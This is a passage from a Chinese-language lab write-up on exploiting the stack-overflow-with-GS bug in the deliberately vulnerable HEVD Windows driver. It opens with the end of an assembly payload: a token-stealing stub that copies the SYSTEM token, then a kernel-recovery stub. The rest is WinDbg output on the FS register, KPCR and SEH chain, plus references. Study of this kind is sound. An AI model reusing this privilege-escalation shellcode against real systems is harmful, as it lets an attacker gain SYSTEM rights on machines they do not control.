nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state ; Kernel Recovery Stub add esp, 0x788 ; Offset of IRP on stack mov edi, [esp] ; Restore the pointer to IRP add esp, 0x4 mov esi, [esp] add esp, 0x4 ; Offset of DbgPrint string mov ebx, [esp] ; Restore the DbgPrint string add esp, 0x224 ; Target frame to return xor eax, eax ; Set NTSTATUS SUCCEESS pop ebp ; Restore saved EBP ret 8 ; Return cleanly } }
-
最后经过测试,不再发生内核崩溃:
2.6 总结
-
最开始查找 seh 链的时候习惯性的用了 !exchain,或者先 !teb 再去看它的 ExceptionList,结果发现地址和实际调试位置不一样,所以最后查了资料,直接查看的 FS 寄存器才找到 seh 链
-
发现因为 FS 寄存器指向的值在内核态和用户态是不一样的:
用户态:FS寄存器指向当前活动线程的TEB结构(线程结构)
内核态:FS指向的段是GDT中的0x3B段。该段的长度也为4K,基地址为0xFFDFF000。该地址指向系统的处理器控制区域(KPCR)。这个区域中保存这处理器相关的一些重要数据值,如GDT、IDT表的值等等
-
FS 寄存器的偏移说明:
偏移 说明 000 指向SEH链指针 004 线程堆栈顶部 008 线程堆栈底部 00C SubSystemTib 010 FiberData 014 ArbitraryUserPointer 018 FS段寄存器在内存中的镜像地址 020 进程PID 024 线程ID 02C 指向线程局部存储指针 030 PEB结构地址(进程结构) 034 上个错误号
-
可以使用 !pcr 命令查看 KPCR 的信息:
3: kd> !pcr KPCR for Processor 3 at 90340000: Major 1 Minor 1 NtTib.ExceptionList: 9b4eeecc NtTib.StackBase: 00000000 NtTib.StackLimit: 00000000 NtTib.SubSystemTib: 90343750 NtTib.Version: 001ba891 NtTib.UserPointer: 00000008 NtTib.SelfTib: 7ffde000 SelfPcr: 90340000 Prcb: 90340120 Irql: 0000001f IRR: 00000000 IDR: ffffffff InterruptMode: 00000000 IDT: 90349020 GDT: 90348c20 TSS: 90343750 CurrentThread: 86c99030 NextThread: 00000000 IdleThread: 90345800 DpcQueue:
-
可以继续查看详细信息
3: kd> dt _KPCR 90340000 ntdll!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : 0x9b4eeecc _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : (null) +0x008 Spare2 : (null) +0x00c TssCopy : 0x90343750 Void +0x010 ContextSwitches : 0x1ba891 +0x014 SetMemberCopy : 8 +0x018 Used_Self : 0x7ffde000 Void +0x01c SelfPcr : 0x90340000 _KPCR +0x020 Prcb : 0x90340120 _KPRCB +0x024 Irql : 0x1f '' +0x028 IRR : 0 +0x02c IrrActive : 0 +0x030 IDR : 0xffffffff +0x034 KdVersionBlock : (null) +0x038 IDT : 0x90349020 _KIDTENTRY +0x03c GDT : 0x90348c20 _KGDTENTRY +0x040 TSS : 0x90343750 _KTSS +0x044 MajorVersion : 1 +0x046 MinorVersion : 1 +0x048 SetMember : 8 +0x04c StallScaleFactor : 0x960 +0x050 SpareUnused : 0 '' +0x051 Number : 0x3 '' +0x052 Spare0 : 0 '' +0x053 SecondLevelCacheAssociativity : 0 '' +0x054 VdmAlert : 0 +0x058 KernelReserved : [14] 0 +0x090 SecondLevelCacheSize : 0 +0x094 HalReserved : [16] 3 +0x0d4 InterruptMode : 0 +0x0d8 Spare1 : 0 '' +0x0dc KernelReserved2 : [17] 0 +0x120 PrcbData : _KPRCB 3: kd> dt _NT_TIB 90340000 ntdll!_NT_TIB +0x000 ExceptionList : 0x9b4eeecc _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : (null) +0x008 StackLimit : (null) +0x00c SubSystemTib : 0x90343750 Void +0x010 FiberData : 0x001ba891 Void +0x010 Version : 0x1ba891 +0x014 ArbitraryUserPointer : 0x00000008 Void +0x018 Self : 0x7ffde000 _NT_TIB 3: kd> dt _NT_TIB 0x7ffde000 ntdll!_NT_TIB +0x000 ExceptionList : 0x0017f81c _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : 0x00180000 Void +0x008 StackLimit : 0x0017d000 Void +0x00c SubSystemTib : (null) +0x010 FiberData : 0x00001e00 Void +0x010 Version : 0x1e00 +0x014 ArbitraryUserPointer : (null) +0x018 Self : 0x7ffde000 _NT_TIB
-
可以通过 dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4eeecc) 查看 seh 链:
2: kd> dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4eeecc) next at 0x9b4eef34 --------------------------------------------- +0x000 Next : 0x9b4ef7ac _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x83ed7ccd _EXCEPTION_DISPOSITION nt!_except_handler4+0 next at 0x9b4ef7ac --------------------------------------------- +0x000 Next : 0x9b4efac0 _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x83ed7ccd _EXCEPTION_DISPOSITION nt!_except_handler4+0 next at 0x9b4efac0 --------------------------------------------- +0x000 Next : 0x9b4efbc0 _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x9a6eb0a0 _EXCEPTION_DISPOSITION HEVD!_except_handler4+0 next at 0x9b4efbc0 --------------------------------------------- +0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : 0x83ed7ccd _EXCEPTION_DISPOSITION nt!_except_handler4+0 next at 0xffffffff --------------------------------------------- +0x000 Next : ???? +0x004 Handler : ???? Memory read error 00000003
-
对于 payload,最后一定要进行堆栈平衡,否则会出现内核崩溃
2.7 参考
(89条消息) Windows内核漏洞学习-栈溢出(无GS)_Wwoc的博客-CSDN博客
[原创]HEVD学习笔记之缓冲区溢出攻击-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
HEVD驱动栈溢出&&WIN10 SMEP 绕过-安全客 - 安全资讯平台 (anquanke.com)
[原创]新手分享_再谈FS寄存器-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[原创]内核漏洞学习[2]-HEVD-StackOverflowGS-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
HEVD Stack Overflow GS (klue.github.io)
标签:DbgPrint,HEVD,eax,00000000,0y0,漏洞,IOCTL,溢出 From: https://www.cnblogs.com/XiuzhuKirakira/p/16995784.html